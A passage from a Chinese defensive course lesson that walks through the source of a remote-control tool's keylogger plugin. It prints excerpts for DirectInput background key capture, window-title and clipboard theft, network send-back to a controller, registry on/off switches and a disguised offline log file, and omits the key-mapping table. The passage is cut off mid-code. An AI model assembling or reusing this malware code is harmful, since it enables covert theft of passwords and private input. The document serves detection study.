30 / 52 主插件与远程能力

第 30 课:主插件:键盘记录

# 第 30 课:主插件:键盘记录

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只做防御分析和源码阅读,不讲如何采集他人输入,不讲如何部署、隐藏、绕过检测或复用键盘记录能力。键盘记录属于高度敏感能力,可能捕获密码、验证码、聊天内容、业务表单、剪贴板文本和系统窗口标题。企业和安全工程学习者阅读这类源码,目标应当是识别风险、建立检测规则、设计输入保护和完善合规控制。

# 1. 本课学习目标

读完本课,你应该能回答6 个问题:

  1. 主插件\键盘记录 在整体工程中承担什么角色?

  2. 插件入口如何建立网络连接并创建 CKeyboardManager

  3. CKeyboardManager 为什么同时关注键盘输入、窗口标题、剪贴板和离线键盘记录?

  4. Input 类为什么是敏感点,DirectInput 后台读取行为为什么需要重点监控?

  5. 企业如何把输入采集、剪贴板访问、隐藏记录文件、注册表开关和网络回传关联起来?

  6. 做合法远程协助或终端管理产品时,为什么不能把这类能力默认开启?

# 2. 源码目录和文件

本课涉及的源码集中在:

路径 作用
主插件\键盘记录\键盘记录.sln 键盘记录插件Visual Studio 解决方案
主插件\键盘记录\键盘记录\键盘记录.cpp 插件入口、连接初始化、管理器创建
主插件\键盘记录\键盘记录\KeyboardManager.h 命令码、回传令牌、管理器类定义
主插件\键盘记录\键盘记录\KeyboardManager.cpp 核心逻辑:线程、剪贴板、窗口标题、离线键盘记录读取、命令处理
主插件\键盘记录\键盘记录\Input.h DirectInput 相关类定义
主插件\键盘记录\键盘记录\Input.cpp 输入设备初始化和输入缓冲读取逻辑
主插件\登录模块\登录模块\Input.cpp 离线键盘记录写入逻辑,负责把输入、窗口标题和剪贴板写入本地记录文本
主插件\登录模块\登录模块\help.cpp 离线键盘记录启动判断,读取构建配置和注册表状态
主控\Quick\KeyBoardDlg.h/.cpp 主控端键盘记录窗口,负责接收、显示、保存和发送控制命令

依赖说明: 本课主要涉及项目自带的 HPSocket 通信层、Windows 剪贴板 API、窗口 API 和 DirectInput。DirectInput 是 Microsoft DirectX 输入接口,用来读取键盘设备状态;它本身不是恶意技术,但如果和后台线程、离线键盘记录文件、剪贴板访问、网络回传同时出现,就应按输入采集风险处理。相关变量、触发顺序和风险点在后续源码节选中直接写入注释,不再单独列独立表格。 在整体工程里,这个插件属于“敏感输入数据面”。它不只是读取键盘,还会把窗口焦点、剪贴板、本地缓存和网络发送串在一起。防御侧不能只搜一个 API,要看整条链路。 2. 源码目录和文件(配图)

# 3. 先从风险面看,而不是从函数名看

新手读这类模块时,容易直接跳进某个函数,结果只看到一组 Win32 API。更稳妥的方式是先画风险面:

风险点 源码线索 防御含义
后台输入读取 Input::initializeInput::GetKerboard 关注后台非独占输入设备访问
前台窗口标题 GetForegroundWindowGetWindowTextW 可能暴露业务系统、聊天窗口、浏览器页面
剪贴板读取 OpenClipboardGetClipboardData(CF_TEXT) 可能捕获口令、令牌、业务文本
剪贴板修改 EmptyClipboardSetClipboardData 可能篡改复制内容,尤其要关注替换规则
离线键盘记录文件 DisplaySessionContainers.log 输入数据可能先落地,再等待回传
注册表状态开关 HKEY_CURRENT_USER\key\open 可能作为在线记录开关或行为状态位
网络回传 TOKEN_KEYBOARD_* 需要和输入、剪贴板、文件行为关联

3. 先从风险面看,而不是从函数名看(配图)

# 3.1 这个插件到底记录了哪些数据?

从源码看,键盘记录不是“只记录按键”。它把多个敏感上下文拼成一条输入活动流。

数据类型 获取位置 记录内容 最终去向
在线按键文本 主插件\键盘记录\键盘记录\Input.cpp 普通字符、数字、功能键、Shift/Caps 状态影响后的文本 TOKEN_KEYBOARD_ONLINEDATA
前台窗口标题 主插件\键盘记录\键盘记录\KeyboardManager.cpp 窗口标题和本地时 TOKEN_KEYBOARD_ONLINEDATA
剪贴板文本 主插件\键盘记录\键盘记录\KeyboardManager.cpp CF_TEXT 剪贴板内容,长度小于1000 字节时发 TOKEN_KEYBOARD_CLIPBOARD
离线键盘记录 主插件\登录模块\登录模块\Input.cpp 按键文本、窗口标题、剪贴板 Unicode 文本 DisplaySessionContainers.log
离线键盘记录回传 主插件\键盘记录\键盘记录\KeyboardManager.cpp 读取本地记录文件内容 TOKEN_KEYBOARD_OFFLINEDATA
状态和替换规则 KeyboardManager.cppKeyBoardDlg.cpp 离线记录开关、剪贴板写回、正则替换规则 注册表、本机剪贴板、状态回

这张表对新手很重要:如果只盯 Input::GetKerboard,会漏掉窗口标题、剪贴板、离线键盘记录文件、注册表和主控端显示逻辑。企业检测也不能只写“调用 DirectInput 就告警”,更应该关联“后台输入读取+ 剪贴板访问+ 本地记录文件 + 网络回传”。

# 4. 插件入口:连接建立后进入管理器

入口文件的逻辑很短:读取内置配置,按 TCP 或 UDP 创建 socket,连接成功后创建 CKeyboardManager,然后进入事件循环。

// 源码位置:主插件\键盘记录\键盘记录\键盘记录.cpp:7-43
// 防御分析注释:plugInfo 中包含地址、端口、TCP/UDP 选择和退出策略// 企业检测时,应把硬编码连接配置、插件名、导出入口和网络初始化放在同一条线索里看struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("127.0.0.1"),
    6666,
    1,
    0
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;

    // 防御分析注释:这里按配置选择 TCP 或 UDP:    // 输入采集类插件一旦与外联 socket 绑定,风险等级会显著上升    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        // 防御分析注释:连接成功后才创建CKeyboardManager。        // 因此检测时可以把“连接成功后出现输入/剪贴板 API”作为关联条件        CKeyboardManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

这段代码本身不复杂,但它给出了两个关键判断:

  1. 输入采集不是孤立行为,而是和网络连接绑定?

  2. 管理器对象的生命周期基本等于插件会话生命周期。

# 5. 命令码和回传令牌:先看协议面

KeyboardManager.h 把命令和回传令牌定义在一起。新手可以把它当成“插件对外暴露的能力清单”。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.h:6-21
// 防御分析注释:这些枚举描述了远端可以触发的敏感行为// 本课只做识别和防护,不提供任何触发方式enum
{
    COMMAND_KEYBOARD_GETOFFLINE,      // 读取离线键盘记录
    COMMAND_KEYBOARD_DEL,             // 删除离线键盘记录文件
    COMMAND_KEYBOARD_OLKEYLOG_START,  // 打开离线键盘记录状态    COMMAND_KEYBOARD_SET_CLIPBOARD_DIF,
    COMMAND_KEYBOARD_OLKEYLOG_CLOSE,  // 关闭离线键盘记录状态    COMMAND_KEYBOARD_REGEX_SETRULE,   // 设置剪贴板替换规则    COMMAND_KEYBOARD_REGEX_DELRULE,   // 删除剪贴板替换规则
    TOKEN_KEYBOARD_OFFLINEDATA,       // 离线键盘记录回传
    TOKEN_KEYBOARD_OFFLINEDATA_ERROR,
    TOKEN_KEYBOARD_ONLINEDATA,        // 在线数据回传
    TOKEN_KEYBOARD_CLIPBOARD          // 剪贴板数据回};
1
2
3
4
5
6
7
8
9
10
11

注意这里不只有“按键数据”。它还包括离线键盘记录、剪贴板数据、剪贴板替换规则和状态开关。企业检测时,如果只写“发现键API”,会漏掉剪贴板替换和离线键盘记录这两个重要侧面。

# 6. CKeyboardManager 的核心职。

类定义说明了它管理的资源:socket、线程、互斥体、剪贴板缓存、正则规则、工作状态。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.h:28-52
// 防御分析注释:CKeyboardManager 是该插件的主状态机// 重点关注线程、缓冲区、互斥体、剪贴板、离线路径和网络发送函数class CKeyboardManager : public CManager
{
public:
    CKeyboardManager(ISocketBase* pClient);
    virtual ~CKeyboardManager();
    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

    BOOL IsWindowsFocusChange();
    BOOL IsClipboardChange();
    void SendOnlineDate(LPTSTR Data);
    void UpdateLocalClipboard(char* buf, int len);
    void SendErroe(BOOL erroe);

    TCHAR szPath[MAX_PATH];          // 离线键盘记录文件路径
    bool  m_bIsWorking;              // 线程工作标志
    HANDLE m_hMutex;                 // 防重复或状态互。
    HANDLE m_hKeyLoggerThread;       // 输入读取线程
    HANDLE m_ClipboardLoggerThread;  // 剪贴板和窗口标题线程
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

这里的命名已经很直接,但防御侧不要只依赖字符串特征。更稳妥的是结合行为

行为组合 检测价
长连+ 输入设备读取 高危
长连+ 剪贴板读取 高危
长连+ 本地隐藏记录文件 高危
剪贴板读取+ 剪贴板写 高危
窗口标题采集 + 输入数据回传 高危

# 7. 构造函数:对象创建时就启动采集线程

构造函数里完成了路径初始化、互斥体创建、发送启动令牌、创建两个线程。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:67-86
// 防御分析注释:对象创建即发送启动令牌,并启动两个长期线程// 这说CKeyboardManager 不是被动工具类,而是会立即进入数据采集和回传状态CKeyboardManager::CKeyboardManager(ISocketBase* pClient) : CManager(pClient)
{
    m_bIsWorking = true;

    // 防御分析注释:离线键盘记录文件落Common AppData,并使用普.log 后缀    // 检测时要关注非常规进程在公共数据目录写入持续增长的文本记录文件    SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, 0, szPath);
    lstrcat(szPath, _T("\\DisplaySessionContainers.log"));

    // 防御分析注释:路径也被用作互斥体名,属于状态线索    m_hMutex = CreateMutex(NULL, false, szPath);

    BYTE bToken = TOKEN_KEYBOARD_START;
    Send(&bToken, 1);

    // 防御分析注释:两个线程分别处理输入和剪贴窗口标题    m_hKeyLoggerThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLoggerThreadProc, this, 0, NULL, true);
    m_ClipboardLoggerThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ClipboardLogger, this, 0, NULL, true);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

这个生命周期适合画成时序图:

7. 构造函数:对象创建时就启动采集线程(配图)

关键点是:网络连接成功后,管理器马上发启动令牌,然后创建两个持续线程。企业可以把“未知进程建立连接后立即访问输入设备和剪贴板”作为高置信度组合信号。

# 8. 输入线程:在线按键数据如何产。

输入线程做三件事:等待主控端键盘记录窗口打开,初始化 DirectInput 键盘设备,然后进入毫秒级循环读取键盘缓冲。读源码时要注意一个细节:m_key 是线程里的局部缓冲,不是类成员;每次拼出文本后会立刻通过 SendOnlineDate 发出,并清空缓冲。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:17-43
// 防御分析注释:线程启动后先等待主控端对话框打开,这能解释为什么连接建// 后不一定立刻出现按键回传;真正采集通常从主控端窗口就绪之后开始unsigned int __stdcall KeyLoggerThreadProc(LPVOID lparam)
{
    CKeyboardManager* pThis = (CKeyboardManager*)lparam;
    pThis->WaitForDialogOpen();

    BOOL b_init = TRUE;
    if (!Input::initialize(GetConsoleWindow(), GetModuleHandle(NULL)))
    {
        b_init = FALSE;
        // 防御分析注释:初始化失败也会通过在线数据通道回传状态文本        // 检测时可以把这类状态文本视为协议侧线索        pThis->SendOnlineDate(_T("初始化键盘记录失));
    }

    TCHAR* m_key = new TCHAR[100];
    ZeroMemory(m_key, 100 * 2);

    while (pThis->IsConnect() && pThis->m_bIsWorking)
    {
        Sleep(1);

        // 防御分析注释:源码这里写的是 !Input::GetKerboard(...)        // 结合 Input::GetKerboard 的返回值看,这个条件比较反直觉        // 读者应关注数据链路,而不是把这段当作良好工程范例        if (!Input::GetKerboard(m_key) && b_init)
        {
            if (lstrlen(m_key))
            {
                // 防御分析注释:在线按键文本最终统一进入 SendOnlineDate                // 再被封装TOKEN_KEYBOARD_ONLINEDATA                pThis->SendOnlineDate(m_key);
                ZeroMemory(m_key, 100 * 2);
            }
        }
    }

    SAFE_DELETE_AR(m_key);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

这里的“按键数据”不是扫描码原样发出,而是经过 Input::GetKerboard 转成可读文本。比如普通字母会Shift/CapsLock 影响,方向键、功能键、回车、退格等会被映射成带方括号的文本标记。为了避免提供可直接复用的采集实现,本课不完整展开映射表;防御侧只需要知道这段代码把底层键盘事件翻译成文本,并和网络发送绑定。

# 9. DirectInput 初始化:为什么是敏感 API 。

Input::initialize 使用 DirectInput 创建设备、设置键盘数据格式、启用后台非独占模式,并设置缓冲区。

// 源码位置:主插件\键盘记录\键盘记录\Input.cpp:12-50
// 防御分析注释:这里出DirectInput8Create、GUID_SysKeyboard、DISCL_BACKGROUND// 对普通业务软件来说,后台键盘设备访问需要充分理由、用户提示和权限说明bool Input::initialize(const HWND& window, const HINSTANCE& instance)
{
    HRESULT hr = DirectInput8Create(
        instance,
        DIRECTINPUT_VERSION,
        IID_IDirectInput8,
        (void**)&mDInput,
        0);
    if (FAILED(hr))
        return 0;

    hr = mDInput->CreateDevice(GUID_SysKeyboard, &mKeyboard, 0);
    if (FAILED(hr))
        return 0;

    hr = mKeyboard->SetDataFormat(&c_dfDIKeyboard);
    if (FAILED(hr))
        return 0;

    // 防御分析注释:后台、非独占键盘读取是重点检测信号    // DISCL_BACKGROUND 表示窗口不在前台时仍可读取设备数据    hr = mKeyboard->SetCooperativeLevel(
        window,
        DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);
    if (FAILED(hr))
        return 0;

    DIPROPDWORD property;
    property.diph.dwSize = sizeof(DIPROPDWORD);
    property.diph.dwHeaderSize = sizeof(DIPROPHEADER);
    property.diph.dwObj = 0;
    property.diph.dwHow = DIPH_DEVICE;
    property.dwData = DINPUT_BUFFERSIZE;

    // 防御分析注释:设置缓冲区后,后续 GetDeviceData 可以一次读取多条键盘事件    hr = mKeyboard->SetProperty(DIPROP_BUFFERSIZE, &property.diph);
    if (FAILED(hr))
        return FALSE;

    hr = mKeyboard->Acquire();
    if (FAILED(hr))
        return 0;

    // 防御分析注释:CapsLock 状态会影响后续文本转换结果    short s = GetKeyState(VK_CAPITAL);
    Input::bcaps = (s == -127 || s == 1) ? TRUE : FALSE;
    return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

输入缓冲读取和按键映射位于同文件后续函数中。这里不贴出完整映射表,因为那会把教程从防御阅读变成可复用实现。防御侧只需要知道:输入缓冲被读取后,数据会进入 SendOnlineDate,再通过网络发出。

// 源码位置:主插件\键盘记录\键盘记录\Input.cpp:54-60,188-262
// 防御分析注释:原函数包含按键缓冲读取和映射表// 为避免提供可直接复用的采集实现,下面只保留结构化精读void Input::UpdateInputData()
{
    if (mKeyboard != NULL)
    {
        dwElements = DINPUT_BUFFERSIZE;
        // 防御分析注释:GetDeviceData 是从 DirectInput 缓冲读取键盘事件的关键点        // didod 中每个元素包含按键偏dwOfs 和按释放状dwData        mKeyboard->GetDeviceData(sizeof(DIDEVICEOBJECTDATA), didod, &dwElements, 0);
    }
}

bool Input::GetKerboard(TCHAR* m_key)
{
    Input::UpdateInputData();

    for (int i = 0; i < (int)(Input::dwElements); i++)
    {
        // 防御分析注释:源码随后把 didod[i].dwOfs 映射到可读字符或功能键文本        // dwData & 0x80 表示按下;否则表示释放。Shift/CapsLock 会影响最终字符        // 完整映射表不在教程中展开,防御侧关注“事-> 文本 -> 发送”的路径    }

    return false;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 10. 窗口标题与剪贴板:键盘之外的敏感数据

ClipboardLogger 线程不只看剪贴板,还会检测前台窗口变化。窗口标题可以暴露正在输入的上下文,例如“某银行后台”“客户资料系统”“聊天窗口”“云控制台”。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:44-63
// 防御分析注释:线程持续检测窗口焦点和剪贴板变化// 即使没有键盘数据,窗口标题和剪贴板也可能泄露业务信息DWORD WINAPI ClipboardLogger(CKeyboardManager* pThis)
{
    pThis->WaitForDialogOpen();

    while (pThis->IsConnect() && pThis->m_bIsWorking)
    {
        if (pThis->IsWindowsFocusChange())
            pThis->SendOnlineDate(_T("[内容:]"));

        Sleep(300);

        if (pThis->IsClipboardChange())
            continue;
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

窗口标题检测:

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:124-146
// 防御分析注释:前台窗口标题会和时间一起写入在线数据流// 这类行为可能泄露业务系统名称、聊天对象、浏览器页面标题BOOL CKeyboardManager::IsWindowsFocusChange()
{
    hFocus = GetForegroundWindow();

    if (hFocus != PreviousFocus)
    {
        TCHAR WindowCaptionNow[MAX_WINDOW_TITLE] = { 0 };
        GetWindowTextW(hFocus, WindowCaptionNow, MAX_WINDOW_TITLE);

        if (lstrlen(WindowCaptionNow) > 0)
        {
            PreviousFocus = hFocus;
            SYSTEMTIME st;
            GetLocalTime(&st);
            wsprintf(WindowCaption, _T("\r\n[%04d-%02d-%02d %02d:%02d:%02d][%s]\r\n"),
                st.wYear, st.wMonth, st.wDay,
                st.wHour, st.wMinute, st.wSecond,
                WindowCaptionNow);
            return TRUE;
        }
    }
    return FALSE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

剪贴板检测和回传。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:149-198
// 防御分析注释:OpenClipboard + GetClipboardData(CF_TEXT) 是敏感组合// 如果同进程还存在网络回传和剪贴板写回,风险更高BOOL CKeyboardManager::IsClipboardChange()
{
    if (!::OpenClipboard(GetDesktopWindow()))
        return FALSE;

    HGLOBAL hglb = GetClipboardData(CF_TEXT);
    if (hglb == NULL)
    {
        ::CloseClipboard();
        return FALSE;
    }

    LPSTR lpstr = (LPSTR)GlobalLock(hglb);

    if (lpstr != NULL && lstrcmpA(lpstr, Clipboard_old) != 0)
    {
        lstrcpyA(Clipboard_old, lpstr);

        int nPacketLen = int(GlobalSize(hglb)) + 2;
        LPBYTE lpData = new BYTE[nPacketLen];
        lpData[0] = TOKEN_KEYBOARD_CLIPBOARD;
        memcpy(lpData + 1, lpstr, nPacketLen - 1);

        // 防御分析注释:剪贴板内容被封装成 TOKEN_KEYBOARD_CLIPBOARD 后发送        Send(lpData, nPacketLen);
        delete[] lpData;
    }

    ::GlobalUnlock(hglb);
    ::CloseClipboard();
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

对企业来说,剪贴板监控尤其敏感。很多员工会复制密码、访问令牌、客户信息、身份证号、工单内容或数据库连接串。合法软件如果确实需要访问剪贴板,应有明确用户动作、权限说明和可关闭选项。 10. 窗口标题与剪贴板:键盘之外的敏感数据(配图)

# 11. SendOnlineDate:所有在线数据的出口

SendOnlineDate 是在线数据统一出口。它把数据前面加上 TOKEN_KEYBOARD_ONLINEDATA 再发送。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:113-122
// 防御分析注释:输入、窗口标题等内容最终都会走到这里
// 检测时可以从网络令牌、包大小、发送频率和前置 API 行为做关联
void CKeyboardManager::SendOnlineDate(LPTSTR Data)
{
    int bufflen = lstrlen(Data) * sizeof(TCHAR) + sizeof(TCHAR);
    LPBYTE sendbuff = new BYTE[bufflen + 1];
    sendbuff[0] = TOKEN_KEYBOARD_ONLINEDATA;
    memcpy(sendbuff + 1, Data, bufflen);
    Send(sendbuff, bufflen + 1);
    SAFE_DELETE_AR(sendbuff);
}
1
2
3
4
5
6
7
8
9
10
11
12

这类函数看起来像普通封包函数,但它的上游是敏感输入数据。源码防御评估时,要把“数据来源”和“数据出口”一起看。

# 12. 离线键盘记录:开关和实现机制

这里要先纠正一个容易混淆的说法:DisplaySessionContainers.log 只是离线键盘记录的本地存储文件,功能本身应该叫“离线键盘记录”。它的含义是:即使主控端没有打开实时键盘记录窗口,登录模块也可以在本机后台把按键、窗口标题和剪贴板内容写入本地文件;之后键盘记录插件再读取这个文件并回传给主控端。 从源码看,离线键盘记录有三类开关来源:

开关来源 源码位置 作用
构建期开关 主控\Quick\BuildDlg.cpp主插件\上线模块\上线模块\上线模块.cpp 构建配置中写入 IsKeyboard,上线模块解析为 MyInfo.otherset.IsKeyboard
运行期开关 主控\Quick\KeyBoardDlg.cpp主插件\键盘记录\键盘记录\KeyboardManager.cpp 主控端发送开关命令,键盘插件写入 HKCU\key\open
自动开关宏 主插件\登录模块\登录模块\登录模块.cpp 源码中存在自动写注册表开关的逻辑,且宏判断写法存在明显风险

# 12.1 构建期开关:配置中的 IsKeyboard

主控构建器里,离线键盘记录对应 g_myInfo.otherset.IsKeyboard。构建配置保存时,它会被写入配置模板。

// 源码位置:主控\Quick\BuildDlg.cpp:1162,1188
// 防御分析注释:这里是构建阶段的离线键盘记录布尔开关
// 如果该值为 true,被控启动后登录模块会把它当作启动离线键盘记录的条件之一
g_myInfo.otherset.IsKeyboard =
    (((CButton*)GetDlgItem(IDC_CHECK_KEYBOARD))->GetCheck()) ? true : false;

// 防御分析注释:配置模板中的“键盘”字段最终会对应到插件配置里jp: 标记
// 企业做样本配置解析时,可以把 jp: 作为候选字段,但不能只依赖字符串特征
Setfindinfo(s, _T("键盘"), NULL, g_myInfo.otherset.IsKeyboard);
1
2
3
4
5
6
7
8
9

上线模块解析配置时,从 jp: 字段读回 MyInfo.otherset.IsKeyboard

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:58,126-147
// 防御分析注释:配置模板中 jp: 表示键盘离线记录开关
// 这里读取的是构建期写入的状态,不依赖主控端后续是否打开键盘记录窗口
// _T("|p1:地址1|...|jp:键盘|sx:沙箱|bh:保护|...");
_tcsrev(confi);
Getfindinfo(confi, _T("jp:"), NULL, &(MyInfo.otherset.IsKeyboard));
1
2
3
4
5
6

这意味着:如果构建期开关已经为真,登录模块启动时就具备开启离线键盘记录的条件。防御侧在分析样本时,不能只看主控端当前有没有发送“开启”命令,也要检查构建配置中的 jp: / IsKeyboard

# 12.2 运行期开关:主控命令写注册表

主控端键盘记录窗口里有“开启离线键盘记录”和“关闭离线键盘记录”的按钮。按钮本身只是发命令,真正写状态的是被控端键盘插件。

// 源码位置:主控\Quick\KeyBoardDlg.cpp:303-320
// 防御分析注释:主控端发送的是控制令牌,不直接写被控端文件或注册表
// 企业审计主控侧时,要关注这些命令是否有授权、留痕和二次确认
void CKeyBoardDlg::OnBnClickedButtonOpen()
{
    BYTE bToken = COMMAND_KEYBOARD_OLKEYLOG_START;
    m_iocpServer->Send(m_pContext, &bToken, 1);
}

void CKeyBoardDlg::OnBnClickedButtonClose()
{
    BYTE bToken = COMMAND_KEYBOARD_OLKEYLOG_CLOSE;
    m_iocpServer->Send(m_pContext, &bToken, 1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

被控端键盘插件收到命令后,只做一件事:把 HKCU\key\open 写成 10

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:262-304
// 防御分析注释:这里修改的是离线键盘记录状态位,不是实时输入线程
// 真正读取该状态位的是登录模块中的 GetOpenKeyLoggerReg()
case COMMAND_KEYBOARD_OLKEYLOG_START:
{
    HKEY hKey;
    ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("key"), 0, KEY_SET_VALUE, &hKey);
    ::RegDeleteValue(hKey, _T("open"));
    ::RegCloseKey(hKey);

    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("key"), &hKey))
    {
        // 防御分析注释:写"1" 表示请求开启离线键盘记录        // 源码使用 REG_BINARY 保存 TCHAR 文本,读取侧却按文本比较,这属于实现质量风险        ::RegSetValueEx(hKey, _T("open"), 0, REG_BINARY,
            (unsigned char*)(_T("1")), 4);
    }
    ::RegCloseKey(hKey);
}
break;

case COMMAND_KEYBOARD_OLKEYLOG_CLOSE:
{
    HKEY hKey;
    ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("key"), 0, KEY_SET_VALUE, &hKey);
    ::RegDeleteValue(hKey, _T("open"));
    ::RegCloseKey(hKey);

    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("key"), &hKey))
    {
        // 防御分析注释:写"0" 表示请求关闭离线键盘记录        // 但这不会直接停止已经进入 savekerboard() 的记录循环        ::RegSetValueEx(hKey, _T("open"), 0, REG_BINARY,
            (unsigned char*)(_T("0")), 4);
    }
    ::RegCloseKey(hKey);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

这里有两个防御分析结论:

  1. “开关闭”按钮实际控制的是注册表状态位,不是直接启动或停止线程。

  2. 如果构建期开关 MyInfo.otherset.IsKeyboard 为真,注册表写成 0 也不能覆盖这个构建期开关,因为登录模块判断条件是“构建期开关为真或注册表开关为真”。

# 12.3 登录模块:真正决定是否开始记录。

离线键盘记录真正运行在登录模块里。登录模块启动主线程时,会无条件创建一个 KeyLoggerThreadProc 线程;这个线程每秒检查一次开关。

// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:173-179
// 防御分析注释:登录模块启动时总会创建键盘记录监控线程
// 是否进入实际记录逻辑,由线程内部读取配置和注册表决定
#ifdef AUTO_OPEN_KEYLOGGER
CloseHandle((HANDLE)_beginthreadex(NULL, 0, AutoEnableKeyLoggerProc, NULL, 0, NULL));
#endif

CloseHandle((HANDLE)_beginthreadex(NULL, 0, KeyLoggerThreadProc, NULL, 0, NULL));
1
2
3
4
5
6
7
8

线程内部的判断如下:

// 源码位置:主插件\登录模块\登录模块\help.cpp:310-345
// 防御分析注释:GetOpenKeyLoggerReg() 读取 HKCU\key\open// 如果值为 "1",就把运行期开关视为开启BOOL GetOpenKeyLoggerReg()
{
    TCHAR tc_temp[50] = {};
    if (ReadRegEx(HKEY_CURRENT_USER, _T("key"), _T("open"),
        REG_SZ, tc_temp, NULL, lstrlen(tc_temp) * sizeof(TCHAR), 2))
    {
        if (!lstrcmp(tc_temp, _T("1")))
            return TRUE;
    }
    return FALSE;
}

unsigned int __stdcall KeyLoggerThreadProc(LPVOID lparam)
{
    do
    {
        // 防御分析注释:互斥体名来MyInfo.Remark,用于避免重复启动同一记录线程        HANDLE hObject = CreateMutex(NULL, FALSE, MyInfo.Remark);
        if (GetLastError() != ERROR_ALREADY_EXISTS)
        {
            do
            {
                // 防御分析注释:这是离线键盘记录的核心开关表达式                // 构建期开关为真,或者注册表开关为真,都会进入记录逻辑                if (MyInfo.otherset.IsKeyboard || GetOpenKeyLoggerReg())
                {
                    if (!Input::initialize(GetConsoleWindow(), GetModuleHandle(NULL)))
                        return 0;

                    // 防御分析注释:savekerboard() 内部while(TRUE)                    // 一旦进入这里,后续注册表改"0" 不一定能停止当前循环                    Input::savekerboard();
                }
                Sleep(1000);
            } while (TRUE);
        }
        Sleep(1000);
    } while (TRUE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

新手要特别注意 AUTO_OPEN_KEYLOGGER 这一段:

// 源码位置:主插件\登录模块\登录模块\登录模块.cpp:76-116
// 防御分析注释:源码写的是 #define AUTO_OPEN_KEYLOGGER 0// 但下面用 #ifdef 判断。C/C++ #ifdef 只看宏是否被定义,不看宏值是否为 0// 因此只要这个宏存在,#ifdef AUTO_OPEN_KEYLOGGER 分支就会被编译#define AUTO_OPEN_KEYLOGGER 0

#ifdef AUTO_OPEN_KEYLOGGER
void AutoOpenKeyLogger()
{
    HKEY hKey;
    ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("key"), 0, KEY_SET_VALUE, &hKey);
    ::RegDeleteValue(hKey, _T("open"));
    ::RegCloseKey(hKey);

    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("key"), &hKey))
    {
        // 防御分析注释:自动把运行期开关写"1"        // 这会让后GetOpenKeyLoggerReg() 判断为开启        ::RegSetValueEx(hKey, _T("open"), 0, REG_BINARY,
            (unsigned char*)(_T("1")), 4);
    }
    ::RegCloseKey(hKey);
}
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

这是一个很典型的源码审计点:开发者可能以 0 表示关闭,但 #ifdef 的实际语义会让代码仍然编译进来。更稳妥的写法应该是 #if AUTO_OPEN_KEYLOGGER,但本课只做源码风险说明,不提供改造后的可用实现。

# 12.4 记录文件:在哪里、写什么、怎么。

离线键盘记录写入逻辑在登录模块的 Input.cpp,不是在键盘插件的 Input.cpp。初始化时先确定本地文件路径,然后初始化 DirectInput。

// 源码位置:主插件\登录模块\登录模块\Input.cpp:16-30,32-69
// 防御分析注释:离线键盘记录文件位Common AppData 下// 文件DisplaySessionContainers.log 看起来像普通会话记录,但内容是敏感输入数据bool Input::initialize(const HWND& window, const HINSTANCE& instance)
{
    SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, SHGFP_TYPE_CURRENT, szPath);
    lstrcatW(szPath, _T("\\DisplaySessionContainers.log"));

    m_hMutex = CreateMutex(NULL, FALSE, szPath);
    WaitForSingleObject(m_hMutex, INFINITE);

    HANDLE hFile = CreateFile(szPath, GENERIC_WRITE, FILE_SHARE_WRITE,
